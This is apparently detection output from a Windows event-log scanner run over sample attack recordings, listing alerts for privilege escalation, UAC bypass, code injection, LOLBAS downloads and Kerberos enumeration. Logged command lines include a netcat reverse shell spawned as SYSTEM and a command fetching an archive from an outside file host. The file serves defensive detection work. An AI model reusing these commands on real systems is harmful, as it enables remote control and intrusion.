+2020-05-12 08:21:56.562 +09:00,MSEDGEWIN10,18,critical,EfsPotato Named Pipe,,rules/sigma/pipe_created/sysmon_efspotato_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-12 08:21:56.587 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: c:\Users\IEUser\tools\misc\nc64.exe 10.0.2.11 3001 -e cmd.exe : Path: C:\Users\IEUser\Tools\Misc\nc64.exe : User: NT AUTHORITY\SYSTEM : Parent Command: RoguePotato.exe -r 10.0.2.11 -e ""c:\Users\IEUser\tools\misc\nc64.exe 10.0.2.11 3001 -e cmd.exe"" -l 9999",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-12 08:21:56.661 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: c:\Users\IEUser\tools\misc\nc64.exe 10.0.2.11 3001 -e cmd.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-12 08:22:26.650 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-12 08:22:26.650 +09:00,MSEDGEWIN10,1,high,Suspicious Svchost Process,,rules/sigma/process_creation/win_susp_svchost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-12 08:22:26.650 +09:00,MSEDGEWIN10,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-13 00:06:49.019 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: Akagi.exe 58 c:\Windows\System32\cmd.exe : Path: C:\Users\IEUser\Tools\PrivEsc\Akagi.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_uacme_58.evtx +2020-05-13 00:06:49.019 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_uacme_58.evtx +2020-05-13 00:06:49.211 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 328 310 0000028A37652590 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_uacme_58.evtx +2020-05-13 00:06:49.390 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Users\IEUser\AppData\Local\Temp\DNeruK\system32\Clipup.exe -o -previd pe386 : Path: C:\Users\IEUser\AppData\Local\Temp\DNeruK\system32\Clipup.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\DllHost.exe /Processid:{BD54C901-076B-434E-B6C7-17C531F4AB41},rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_uacme_58.evtx +2020-05-13 00:06:49.390 +09:00,MSEDGEWIN10,1,high,UAC Bypass Tool UACMe,,rules/sigma/process_creation/win_hktl_uacme_uac_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_uacme_58.evtx +2020-05-13 00:06:49.390 +09:00,MSEDGEWIN10,1,high,CMSTP UAC Bypass via COM Object Access,,rules/sigma/process_creation/win_cmstp_com_object_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_uacme_58.evtx +2020-05-13 00:06:49.447 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: c:\Windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Users\IEUser\AppData\Local\Temp\DNeruK\system32\Clipup.exe -o -previd pe386,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/Sysmon_uacme_58.evtx +2020-05-13 09:28:16.122 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/revshell_cmd_svchost_sysmon_1.evtx +2020-05-13 09:28:52.873 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/revshell_cmd_svchost_sysmon_1.evtx +2020-05-13 09:28:52.914 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/revshell_cmd_svchost_sysmon_1.evtx +2020-05-13 09:28:52.950 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalServiceAndNoImpersonation -p -s wcncsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/revshell_cmd_svchost_sysmon_1.evtx +2020-05-24 10:13:47.756 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: RogueWinRM.exe -p c:\Windows\System32\cmd.exe : Path: C:\Users\IEUser\Tools\PrivEsc\RogueWinRM.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: ""cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:48.864 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:50.327 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: c:\Windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: RogueWinRM.exe -p c:\Windows\System32\cmd.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:51.206 +09:00,MSEDGEWIN10,3,high,Remote PowerShell Session,,rules/sigma/network_connection/sysmon_remote_powershell_session_network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:51.206 +09:00,MSEDGEWIN10,3,high,Remote PowerShell Session,,rules/sigma/network_connection/sysmon_remote_powershell_session_network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:54.120 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: c:\Windows\System32\cmd.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:54.120 +09:00,MSEDGEWIN10,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:54.120 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-05-24 10:13:54.120 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/RogueWinRM.evtx +2020-07-01 05:50:25.546 +09:00,MSEDGEWIN10,10,critical,Direct Syscall of NtOpenProcess,,rules/sigma/process_access/sysmon_direct_syscall_ntopenprocess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon_10_Evasion_Suspicious_NtOpenProcess_CallTrace.evtx +2020-07-01 05:50:25.546 +09:00,MSEDGEWIN10,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon_10_Evasion_Suspicious_NtOpenProcess_CallTrace.evtx +2020-07-03 02:51:37.819 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: spooler.exe payload.bin : Path: C:\Users\Public\tools\cinj\spooler.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_spoolsv_sysmon_10_1.evtx +2020-07-03 02:51:37.819 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_spoolsv_sysmon_10_1.evtx +2020-07-03 02:51:37.872 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: notepad : Path: C:\Windows\System32\notepad.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\System32\spoolsv.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_spoolsv_sysmon_10_1.evtx +2020-07-03 02:51:37.872 +09:00,MSEDGEWIN10,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_spoolsv_sysmon_10_1.evtx +2020-07-03 03:00:29.615 +09:00,LAPTOP-JU4M3I0E,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: chost.exe payload.bin : Path: C:\Users\Public\tools\evasion\chost.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_conhost_sysmon_10_1.evtx +2020-07-03 03:00:29.615 +09:00,LAPTOP-JU4M3I0E,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_conhost_sysmon_10_1.evtx +2020-07-03 03:00:29.650 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,Command: notepad : Path: C:\Windows\System32\notepad.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: \??\C:\windows\system32\conhost.exe 0xffffffff -ForceV1,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_conhost_sysmon_10_1.evtx +2020-07-03 03:00:29.650 +09:00,LAPTOP-JU4M3I0E,1,medium,Conhost Parent Process Executions,,rules/sigma/process_creation/win_susp_conhost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_conhost_sysmon_10_1.evtx +2020-07-03 03:00:29.650 +09:00,LAPTOP-JU4M3I0E,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/evasion_codeinj_odzhan_conhost_sysmon_10_1.evtx +2020-07-03 17:47:20.037 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c desktopimgdownldr.exe /lockscreenurl:https://a.uguu.se/Hv0bgvgHGNeH_Bin.7z /eventName:desktopimgdownldr : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_11_1_lolbas_downldr_desktopimgdownldr.evtx +2020-07-03 17:47:20.037 +09:00,MSEDGEWIN10,1,high,Suspicious Desktopimgdownldr Command,,rules/sigma/process_creation/win_susp_desktopimgdownldr.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_11_1_lolbas_downldr_desktopimgdownldr.evtx +2020-07-03 17:47:20.073 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: desktopimgdownldr.exe /lockscreenurl:https://a.uguu.se/Hv0bgvgHGNeH_Bin.7z /eventName:desktopimgdownldr : Path: C:\Windows\System32\desktopimgdownldr.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c desktopimgdownldr.exe /lockscreenurl:https://a.uguu.se/Hv0bgvgHGNeH_Bin.7z /eventName:desktopimgdownldr ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_11_1_lolbas_downldr_desktopimgdownldr.evtx +2020-07-03 17:47:20.073 +09:00,MSEDGEWIN10,1,high,Suspicious Desktopimgdownldr Command,,rules/sigma/process_creation/win_susp_desktopimgdownldr.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_11_1_lolbas_downldr_desktopimgdownldr.evtx +2020-07-03 17:47:21.491 +09:00,MSEDGEWIN10,11,high,Suspicious Desktopimgdownldr Target File,,rules/sigma/file_event/win_susp_desktopimgdownldr_file.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_11_1_lolbas_downldr_desktopimgdownldr.evtx +2020-07-03 17:55:49.123 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Download LockScreen Image : URL: https://a.uguu.se/Hv0bgvgHGNeH_Bin.7z,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/windows_bits_4_59_60_lolbas desktopimgdownldr.evtx +2020-07-03 18:05:58.278 +09:00,win10.ecorp.com,1,informational,Process Creation,"Command: explorer.exe /root,""c:\windows\System32\calc.exe"" : Path: C:\Windows\explorer.exe : User: ECORP\Administrator : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec_root_cmdline_@rimpq_@CyberRaiju.evtx +2020-07-03 18:05:58.278 +09:00,win10.ecorp.com,1,medium,Explorer Root Flag Process Tree Break,,rules/sigma/process_creation/win_susp_explorer_break_proctree.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec_root_cmdline_@rimpq_@CyberRaiju.evtx +2020-07-03 18:05:58.278 +09:00,win10.ecorp.com,1,low,Proxy Execution Via Explorer.exe,,rules/sigma/process_creation/win_susp_explorer.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec_root_cmdline_@rimpq_@CyberRaiju.evtx +2020-07-03 18:05:58.367 +09:00,win10.ecorp.com,1,informational,Process Creation,"Command: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding : Path: C:\Windows\explorer.exe : User: ECORP\Administrator : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec_root_cmdline_@rimpq_@CyberRaiju.evtx +2020-07-03 18:05:58.583 +09:00,win10.ecorp.com,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: ECORP\Administrator : Parent Command: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec_root_cmdline_@rimpq_@CyberRaiju.evtx +2020-07-03 18:05:58.739 +09:00,win10.ecorp.com,1,informational,Process Creation,"Command: ""C:\Windows\System32\win32calc.exe"" : Path: C:\Windows\System32\win32calc.exe : User: ECORP\Administrator : Parent Command: ""C:\Windows\System32\calc.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/susp_explorer_exec_root_cmdline_@rimpq_@CyberRaiju.evtx +2020-07-04 23:18:58.268 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/evasion_persis_hidden_run_keyvalue_sysmon_13.evtx +2020-07-04 23:18:58.268 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/evasion_persis_hidden_run_keyvalue_sysmon_13.evtx +2020-07-08 06:51:39.204 +09:00,LAPTOP-JU4M3I0E,10,high,LSASS Access from Program in Suspicious Folder,,rules/sigma/process_access/win_susp_proc_access_lsass_susp_source.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_2x10_lsass_with_different_pid_RtlCreateProcessReflection.evtx +2020-07-08 06:51:39.256 +09:00,LAPTOP-JU4M3I0E,10,high,LSASS Access from Program in Suspicious Folder,,rules/sigma/process_access/win_susp_proc_access_lsass_susp_source.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_2x10_lsass_with_different_pid_RtlCreateProcessReflection.evtx +2020-07-08 06:51:39.262 +09:00,LAPTOP-JU4M3I0E,10,high,LSASS Access from Program in Suspicious Folder,,rules/sigma/process_access/win_susp_proc_access_lsass_susp_source.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_2x10_lsass_with_different_pid_RtlCreateProcessReflection.evtx +2020-07-09 06:41:52.449 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon_12_DE_AntiForensics_MRU_DeleteKey.evtx +2020-07-09 06:41:52.449 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon_12_DE_AntiForensics_MRU_DeleteKey.evtx +2020-07-09 06:42:01.653 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon_12_DE_AntiForensics_MRU_DeleteKey.evtx +2020-07-09 06:42:01.653 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon_12_DE_AntiForensics_MRU_DeleteKey.evtx +2020-07-09 06:43:13.791 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon_12_DE_AntiForensics_MRU_DeleteKey.evtx +2020-07-09 06:43:13.791 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon_12_DE_AntiForensics_MRU_DeleteKey.evtx +2020-07-10 05:41:04.488 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ATACORE01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.490 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: PKI01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.496 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: EXCHANGE01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.497 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: WEC01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.501 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: FS02$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.505 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: WSUS01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.534 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: DHCP01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.576 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ATANIDS01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.861 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: PRTG-MON$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.862 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: MSSQL01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.863 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: FS01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.864 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ADFS01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.865 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: WEBIIS01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.885 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.887 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: FS03VULN$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1087-Account discovery/ID4769-Kerberos TGS host enumeration (Bloodhound).evtx +2020-07-10 05:41:04.887 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: krbtgt : IP Address: ::ffff:10.23.23.9 : Status: 